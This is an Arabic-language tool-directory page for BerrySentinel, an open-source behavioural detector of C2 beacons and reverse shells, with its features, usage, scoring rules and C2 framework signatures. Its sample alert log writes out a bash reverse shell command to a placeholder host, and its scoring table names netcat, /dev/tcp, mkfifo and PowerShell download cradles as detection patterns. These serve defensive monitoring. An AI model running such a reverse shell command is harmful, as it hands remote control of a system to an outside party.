Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
BerrySentinel — Berry Sentinel v5.0 — كاشف سلوكي متقدم لـ C2 و reverse shell لأنظمة Linux/Windows/Unix. يتميز بتحليل اتصال في الوقت الفعلي، heuristic scoring، كشف تواقيع إطار C2، beacon interval analysis، وواجهة TUI تفاعلية مبنية على curses مع process kill engine. | Kitploit
أدوات/GitHubGitHub/dereeqw/berrysentinel
أدوات دفاعيةأمن الشبكاتتحليل البرمجيات الخبيثةاختبار الاختراقالقيادة والسيطرةاستخبارات التهديداتكشف التسللالفريق الأحمرالاستجابة للحوادثكشف الشذوذتحليل السجلات
13منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
dereeqw/berrysentinel

BerrySentinel

Berry Sentinel v5.0 — كاشف سلوكي متقدم لـ C2 و reverse shell لأنظمة Linux/Windows/Unix. يتميز بتحليل اتصال في الوقت الفعلي، heuristic scoring، كشف تواقيع إطار C2، beacon interval analysis، وواجهة TUI تفاعلية مبنية على curses مع process kill engine.

عرض المستودع

🫐 Berry Sentinel

كاشف سلوكي لاتصالات C2 (القيادة والتحكم) في الوقت الحقيقي

بدون توقيع · تحصين متقدم · مسح عميق · محرك إيقاف

Python 3.8+ Platform License: MIT


ما هو؟

يقوم Berry Sentinel بمراقبة جميع اتصالات الشبكة النشطة في نظامك وتحليل سلوك العمليات التي تولدها للكشف عن النشاط الضار — دون استخدام قواعد بيانات توقيعات مضادات الفيروسات أو قوائم عناوين IP المحظورة.

يكشف عن الصدف العكسي (reverse shells)، وصدف الويب (webshells)، وأدوات التحكم عن بعد (RATs)، وإشارات C2، وأطر العمل مثل Meterpreter وCobalt Strike وSliver وEmpire من خلال ملاحظة كيفية تصرف العملية: إذا كان مترجم Python لديه stdin متصلًا بمقبس بعيد، فهذا مشبوه حتى لو كان عنوان IP غير معروف.

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — كاشف سلوكي لـ C2 · واجهة TUI تفاعلية                                 ║
║  الاتصالات: 38 │ التهديدات: 2 │ التوقيعات: 1 │ عبر proc/open+ss │ 12ms │ #47                       ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  SEV      PTS   PID    PROC    REMOTE                الحالة  التوقيعات/العلامات                     ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █حاسمة  85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET.                ║
║  7  ▲عالية     52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)                      ║
╚══════════════════════════════════════════════════════════════════════════════════╝

الميزات

  • واجهة TUI تفاعلية مع curses: تنقل ↑↓، تفاصيل الاتصال، محرك إيقاف مدمج
  • تحليل سلوكي خالص: بدون توقيعات مضادات الفيروسات، بدون قوائم سوداء لعناوين IP
  • كشف الإشارات (beacon): يحدد اتصالات C2 من خلال فتراتها المنتظمة (Cobalt Strike ~60s, Empire ~5s, إلخ.)
  • 14+ إطار عمل C2 معروف: Meterpreter, Cobalt Strike, Sliver, Empire, Havoc, Brute Ratel, Pupy, Merlin, Covenant, Mythic...
  • مسح عميق (مع صلاحيات الجذر): تحليل ذاكرة العملية، مناطق RWX، متغيرات البيئة، الملفات التنفيذية المحذوفة من القرص
  • تحصين متقدم: يستخدم 5 طرق جمع بالتوازي (/proc/net, ss, netstat, psutil, lsof) مع إلغاء التكرار التلقائي
  • عبر المنصات: Linux، macOS، Windows، Android/Termux
  • تصدير بتنسيق JSON وسجل: تنبيهات بتنسيق JSONL متوافق مع jq، ELK، Splunk
  • القائمة البيضاء: تجاهل عناوين IP أو شبكات موثوقة حسب CIDR
  • صفر تبعيات في الوضع الأساسي (stdlib فقط)؛ psutil اختياري لتغطية إضافية

التثبيت

root@kitploit:~
# استنساخ المستودع
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel 

# (اختياري لكن موصى به) تثبيت psutil
pip install psutil

# التشغيل
python3 BerrySentinel.py

Android / Termux

root@kitploit:~
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # قد لا يكون curses متاحًا في Termux

بدون تثبيت (سطر واحد)

root@kitploit:~
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

الاستخدام

root@kitploit:~
python3 BerrySentinel.py [خيارات]

الخيارات:
  --all, -a           تضمين الاتصالات المحلية/الاسترجاعية (بالإضافة إلى البعيدة)
  --interval N, -i N  التحديث كل N ثانية (الافتراضي: 2، الحد الأدنى: 0.5)
  --log FILE, -l FILE حفظ التنبيهات في ملف (تنسيق JSONL)
  --json, -j          تصدير JSON كامل عند الخروج
  --whitelist LIST    عناوين IP أو CIDR لتجاهلها، مفصولة بفواصل
  --no-color          بدون ألوان ANSI (مفيد للأنابيب أو السجلات)
  --verbose, -v       إظهار جميع الاتصالات، وليس فقط المشبوهة
  --top N, -t N       الحد الأقصى لعدد الصفوف في الجدول (الافتراضي: 50)
  --diag, -d          تشخيص: يظهر أي طرق الجمع تعمل
  --no-tui            وضع قديم بدون curses (تمرير كلاسيكي، أكثر قابلية للنقل)
  --version, -V       إظهار الإصدار والخروج

أمثلة

root@kitploit:~
# واجهة TUI تفاعلية — الوضع الموصى به
python3 BerrySentinel.py

# مسح عميق مع صلاحيات الجذر (الوصول إلى ذاكرة العمليات)
sudo python3 BerrySentinel.py --all

# حفظ التنبيهات وتصدير JSON عند الانتهاء
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# تجاهل الشبكة الداخلية والتحديث كل 5 ثوانٍ
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# وضع النص لاستخدامه في البرامج النصية أو عبر SSH بدون محطة تفاعلية
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# عرض طرق الجمع التي تعمل على النظام الحالي
python3 BerrySentinel.py --diag --no-tui

# فقط التنبيهات الخطيرة، تحديث كل 10 ثوانٍ، حفظ السجل
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

مفاتيح واجهة TUI التفاعلية


نظام التهديف

يحصل كل اتصال على درجة من 0 إلى 100 بناءً على المؤشرات المكتشفة:

الشدة حسب الدرجة:


أطر عمل C2 المُكتشفة

يتضمن Berry Sentinel توقيعات لأطر العمل التالية (التقييم بناءً على المنافذ، اسم العملية، سطر الأوامر، وأنماط الإشارات):


تنسيق السجل (JSONL)

يتم تسجيل كل تنبيه كسطر JSON مستقل:

root@kitploit:~
{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRITICAL",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

المعالجة باستخدام jq:

root@kitploit:~
# تصفية الاتصالات الحرجة فقط
jq 'select(.sev == "CRITICAL")' sentinel.log

# عرض جميع PIDs المشبوهة
jq '[.pid] | unique' sentinel_export.json

# البحث بتوقيع محدد
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

البنية

root@kitploit:~
BerrySentinel.py
├── الثوابت العامة
│   ├── SHELL_BINS, SCRIPT_ENGINES  — أسماء الصدوع والمترجمات
│   ├── C2_SUSPECT_PORTS            — المنافذ النموذجية لـ C2
│   ├── PRIVATE_NETS                — نطاقات IP الخاصة
│   └── C2_SIGNATURES               — توقيعات الأطر المعروفة
│
├── نماذج البيانات
│   ├── C2Signature   — تعريف توقيع C2
│   ├── ProcInfo      — معلومات عملية من نظام التشغيل
│   ├── Conn          — اتصال شبكة + نتيجة التحليل
│   └── BeaconTracker — كاشف إشارات C2
│
├── جمع البيانات
│   ├── Collector     — ينسق مصادر الشبكة المتعددة
│   ├── parse_proc_net_content() — محلل /proc/net/*
│   ├── build_inode_pid_map()    — خريطة inode→PID
│   ├── get_proc_info()          — معلومات العملية عبر /proc
│   └── get_proc_info_psutil()   — معلومات العملية عبر psutil
│
├── التحليل
│   ├── Engine.analyze()    — التهديف + العلامات السلوكية
│   ├── Engine._beacon()    — كشف الإشارات
│   └── match_signatures()  — مطابقة توقيعات C2
│
├── الإخراج
│   ├── CursesTUI   — واجهة TUI تفاعلية (الوضع الافتراضي)
│   ├── LegacyTUI   — إخراج ANSI بدون curses (البديل)
│   └── Logger      — سجل JSONL على القرص
│
└── Sentinel        — المنسق الرئيسي

المتطلبات

  • Python 3.8+
  • psutil — اختياري ولكن موصى به بشدة (pip install psutil)

بدون تبعيات إضافية، تعمل الأداة باستخدام مكتبة Python القياسية. يضيف psutil تغطية في macOS و Windows حيث لا يوجد /proc.


المنصات


التخصيص

إضافة توقيع C2 خاص

root@kitploit:~
from BerrySentinel import C2Signature, C2_SIGNATURES

mi_rat = C2Signature(
    name="MyRAT",
    description="أداة RAT داخلية مؤسسية غير مصرح بها",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^mi_rat$"},
    ],
)
C2_SIGNATURES.append(mi_rat)

الاستخدام كمكتبة في برنامج نصي

root@kitploit:~
import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[تنبيه] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"الدرجة={conn.score:.0f} العلامات={conn.tags}")

محرك تحليل مخصص

root@kitploit:~
from BerrySentinel import Engine, Conn, Sev

class MyEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # إضافة منطق خاص
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c

تحذير الاستخدام المسؤول

تم تصميم Berry Sentinel لـ مراقبة نظامك الخاص أو الأنظمة التي لديك إذن صريح عليها. يعمل محرك الإيقاف فقط عندما يطلبه المستخدم صراحة. استخدمه بطريقة مسؤولة ووفقًا للقوانين السارية في نطاق اختصاصك.


الترخيص

MIT — راجع LICENSE

تنزيل الأداة
المفتاحالإجراء
↑ / ↓التنقل بين الاتصالات
d / Dعرض لوحة تفاصيل الاتصال المحدد
k / Kإنهاء العملية (يطلب تأكيد PID)
f / Fتدوير مرشح الشدة: ALL → MEDIUM → HIGH → CRITICAL
rفرض تحديث فوري
ESCإغلاق لوحة التفاصيل أو إلغاء العملية
qخروج
المؤشرالنقاطالعلامة
stdin/stdout → مقبس+55FD→SOCK
صدفة ثنائية مع اتصال عن بعد+40SHELL→NET
صدفة ويب (shell كابن لـ Apache/Nginx)+35WEBSHELL
صدفة ربط (bind shell) على منفذ عالٍ+35BIND-SHELL
استخدام netcat/socat+35NETCAT
إعادة توجيه /dev/tcp أو mkfifo+40PIPE-REDIR
ملف تنفيذي محذوف من القرص+25EXE-DEL!
ملف تنفيذي في /tmp أو /dev/shm+15EXE-TMP
كشف إشارة (beacon) (اتصال دوري)+25×confBCN(60s)
توقيع Meterpreter+55SIG:Meterpreter
توقيع Cobalt Strike+60SIG:CobaltStrike
توقيع Sliver+58SIG:Sliver
مناطق ذاكرة RWX+20RWX(N)
LD_PRELOAD أو HISTFILE=/dev/null+10ENV:LD_PRELOAD
مترجم نصوص متصل+25INTERP→NET
eval/exec في سطر الأوامر+18EVAL
PowerShell عن بعد (IEX, DownloadString)+30PS-REM
الدرجةالشدةاللون
≥ 65حرجة🔴 أحمر ساطع
≥ 45عالية🟠 برتقالي
≥ 25متوسطة🟡 أصفر
≥ 8منخفضة🔵 سماوي
< 8معلوماتية⚪ رمادي
الإطارمكافأة النقاطالمؤشرات الرئيسية
Meterpreter+55المنفذ 4444، العملية ruby/msfconsole
Cobalt Strike+60المنفذ 50050، إشارة ~60s، العملية java
Sliver+58المنفذ 31337/8888، إشارة ~60s
Empire+55المنفذ 1234/7777، PowerShell -enc
Brute Ratel+62المنفذ 2083، العملية badger
Havoc+58المنفذ 40056، demon.x64/x86
Pupy RAT+52المنفذ 9999، pupy.py
Merlin+54المنفذ 8443، merlin-agent
Covenant+54المنفذ 7443، GruntHTTP
PoshC2+52FComServer، ImplantCore
Mythic+56المنفذ 7443، poseidon/apfell
QuasarRAT+50المنافذ 4782-4785
NetcatShell+45socat exec bash، pty
DNS-C2+40المنفذ 53، dnscat/iodine
النظامالدعمملاحظات
Linux✅ كاملمع صلاحيات الجذر يتم تفعيل المسح العميق
Android/Termux✅ كاملاستخدم --no-tui إذا فشل curses
macOS⚠️ جزئيبدون /proc؛ يستخدم netstat+psutil
Windows⚠️ جزئيnetstat+psutil، بدون تحليل الذاكرة